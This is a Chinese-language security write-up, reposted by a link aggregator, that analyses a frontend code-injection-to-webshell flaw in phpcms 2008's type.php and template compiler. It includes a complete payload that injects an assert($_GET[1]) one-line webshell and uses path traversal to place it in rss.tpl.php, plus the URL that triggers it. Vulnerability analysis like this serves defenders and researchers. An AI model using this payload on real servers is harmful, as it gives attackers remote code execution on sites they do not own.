5

phpcms 2008 type.php 前台代码注入getshell漏洞分析

 2 years ago
source link: https://chybeta.github.io/2018/11/29/phpcms-2008-type-php-%E5%89%8D%E5%8F%B0%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5getshell%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

phpcms 2008 type.php 前台代码注入getshell漏洞分析

发表于 2018-11-29

| 分类于 Web Security

| 阅读次数

phpcms 2008 type.php 前台代码注入getshell漏洞分析

tpye.php中:

<?php
require dirname(__FILE__).'/include/common.inc.php';
if(empty($template)) $template = 'type';
include template('phpcms', $template);
?>

先看一下require进来的include/common.inc.php,在这个文件第58行中存在如下代码:

if($_REQUEST)
if(MAGIC_QUOTES_GPC)
$_REQUEST = new_stripslashes($_REQUEST);
if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
extract($db->escape($_REQUEST), EXTR_SKIP);
$_POST = $db->escape($_POST);
$_GET = $db->escape($_GET);
$_COOKIE = $db->escape($_COOKIE);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
if($_COOKIE) $db->escape($_COOKIE);

上面这段代码会通过@extract()将尚未注册的变量进行注册,如果有冲突,不覆盖已有的变量。因此通过这个伪全局可以绕过if(empty($template)) $template = 'type';这句话的指定,即$template变量可控。

跟入template函数,定义在 include/global.func.php:772

function template($module = 'phpcms', $template = 'index', $istag = 0)
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))
require_once PHPCMS_ROOT.'include/template.func.php';
template_compile($module, $template, $istag);
return $compiledtplfile;

这里会进行一些判断,TPL_REFRESH表示是否开启模板缓存自动刷新,默认为1, 剩下的用于判断缓存超时。倘若需要更新缓存则进入了template_compile()函数,根据上一句的require_once可知定义在 include/template.func.php:2

<?php
function template_compile($module, $template, $istag = 0)
$tplfile = TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html';
$content = @file_get_contents($tplfile);
if($content === false) showmessage("$tplfile is not exists!");
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
@chmod($compiledtplfile, 0777);
return $strlen;

重点看$content = ($istag || substr($template, 0, 4) == 'tag_')这一句。由于$template可控,只要$templatetag_开头,就可以使得此处的三元表达式进入到第一个分支中,即相当于:

$content = '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>'

由于$template未经过滤,被直接拼接到内容中,所以如果指定tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss ,则拼接后的结果为

$content = '<?php function _tag_phpcms_tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>'

可以看到一句话木马已经写入了$content,之后file_put_contents($compiledtplfile, $content);将内容写入文件。

回到前面的template_compile函数中,TPL_CACHEPATH为常量PHPCMS_ROOT.'data/cache_template/; 可知 $compiledtplfile 为:

$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
```php
$compiledtplfile = 'data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_GET[1]);{//../rss.tpl.php';

所以payload末尾的../利用目录穿越使得最后的$compiledtplfile'data/cache_template/rss.tpl.php

为了解析不出错,payload末尾处的//注释了拼接后的其余部分,如上图。

此后访问 http://127.0.0.1/phpcms/data/cache_template/rss.tpl.php?1=phpinfo()


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK